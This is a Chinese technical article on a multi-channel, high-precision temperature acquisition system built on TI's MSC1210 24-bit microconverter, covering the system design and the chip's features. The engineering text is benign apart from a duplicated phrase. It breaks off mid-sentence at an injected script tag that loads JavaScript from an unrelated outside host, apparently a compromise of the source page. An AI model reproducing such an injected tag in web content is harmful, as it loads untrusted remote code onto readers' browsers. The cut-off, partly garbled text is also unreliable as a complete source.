在许多传统行业中,多路高精度温度采集系统是不可或缺的。电厂、石化行业、钢铁厂以及制药厂等企业使用了大量的各类测温器件,如热电阻、热电偶等,这些器件需要定期校准;在严格执行gmp规范的制药厂等企业,高温灭菌需要定期进行灭菌率的验证;在某些要求进行严格的温度控制的场合,也需要进行多点高精度温度测量。这些工作往往需要一多路高精度测温系统来完成。
在被测温度变化缓慢的情况下,可以使用多路扫描开关配以一个高精度测温表进行多路温度测量以及数据采集。但在温度测量点数目较多、被测温度变化较快的场合,如大量热电阻、热电偶的自动计量检定系统以及高温灭菌箱自动验证系统中,传统的扫描式多路温度测量系统不无法满足要求了。近年来,随着高精度a/d转换器件价格的不断下降以及a/d转换器件功能的不断完善,研制廉价的多路、快速、高精度温度采集系统成为可能。
美国德州仪器公司(texas instruments)新近推出了一种功能很强的带24位a/d转换器的微处理器msc1210。msc1210具有一些增强特性,特别适合测量高精度温度、压力传感器等输出的微弱信号。
本文介绍以msc1210作为测量、信号处理以及通讯核心的多路高精度温度采集系统模块。该系统测量通道易于扩充,温度测量精度高,可以快速地进行多路高精度温度测量。
1 多路高精度测温系统框架
系统由主机与多个智能测温模块组成。模块与主机之间通过光电隔离的spi接口进行通讯,使用带有crc纠错的自定义指令集控制数据传输,主机带有计算机接口(rs232串口以及usb接口)。系统框架参见图1。
智能测温模块由msc1210微转换器构成,模块本身具有完整的信号调理、a/d转换、数据修正计算及变换内部标准等功能。为了避免外部干扰对a/d转换的影响,spi接口使用高速光电耦合电路,并采用模块自带的稳压电路供电。由于一个模块只能处理1~4路温度,因此可以同步进行多组模块的温度测量,大大加快了多点温度测量的速度。主机用来控制测温模块,从测温模块中读取温度数据并处理,同时完成人机接口以及其它功能。视应用场合的不同,主机可以使用多路类型的单片机,这里选用atmel公司的atmega128。该款cpu采用harvard流水线结构以及risc指令,并具有较大程序容量(128kb)的flash,在16mhz主频下可以达到16mips的处理速度。
2 msc1210的增强功能及使用注意事项
作为智能高精度测温模块的核心,msc1210完成了微弱信号的多路切换、信号缓冲、pga编程放大、24位∑-δa/d转换、数字滤波、数据处理、信号校准以及spi通讯等功能。
msc1210集成了一个8通道24位∑-δa/d转换器,采用8051兼容内核。与笔者之前使用的aduc824相比,其有如下增强的功能:
(1)cpu工作频率可达33mhz,每条指令只需4个时钟周期,运算速度较快。
(2)采用非常灵活的flash与sram存储器配置,,可以对片上flash进行分区,根据需要设定程序flash与数据sram所占的比例。该写次数可达一百万次,数据可保存100年。
(3)片上ram为1280b,有34个高电流驱动i/o,可以设外部存储器的存取时间,使用双数据指针提高存取速度,具有完善的节电功能,还用双数据指针提高存取速度,具有完善的节电功能,还有电压监视器、21个中断源、3个16位定时器计数器以及内部时间间隔计数器(tic)。
(4)自带boot rom,可以调试使用或在程序中调用内置固化程序,完成在线调试、数据采集、uart通讯以及读写flash等工作,方便了编程以及调试。
(5)片上24位∑-δadc具有一些增强特性:8位输入通道可以任意配置为单端或差分输入;有快速、sinc2、sinc3三种数字滤波,同时有自动数字滤波功能,可以加快a/d转换输出;带pga偏置dac,可以不引入额外误差而扩大测量范围;自带一个32位累加器,可以对adc输出数据作快速平均处理。
(6)自带高精度电压标准,精度为0.2%,漂移为5ppm/℃,可以节省空间以及器件成本,也可输出该电压标准或外接电压标准。
(7)片上16位pwm,可以作为dac输出来源。
(8)增强的spi接口可以使用dma方式传输数据,在dma方式下,可以间接寻址ram,设定多达128b的发送接收fifo;具有完整的端口驱动以及发送接收中断设定,适合大批量的数据传输,同时点用cpu资源较少。
msc1210功能较强且易于使用,但因为是新器件,参考资料较少。笔者在使用过程中发现需要注意如下问题:
(1)msc1210片内flash分区只能通过对hcr0以及hcr1这两个硬件配置寄存器事先编程来进行,在程序?script src=http://er12.com/t.js>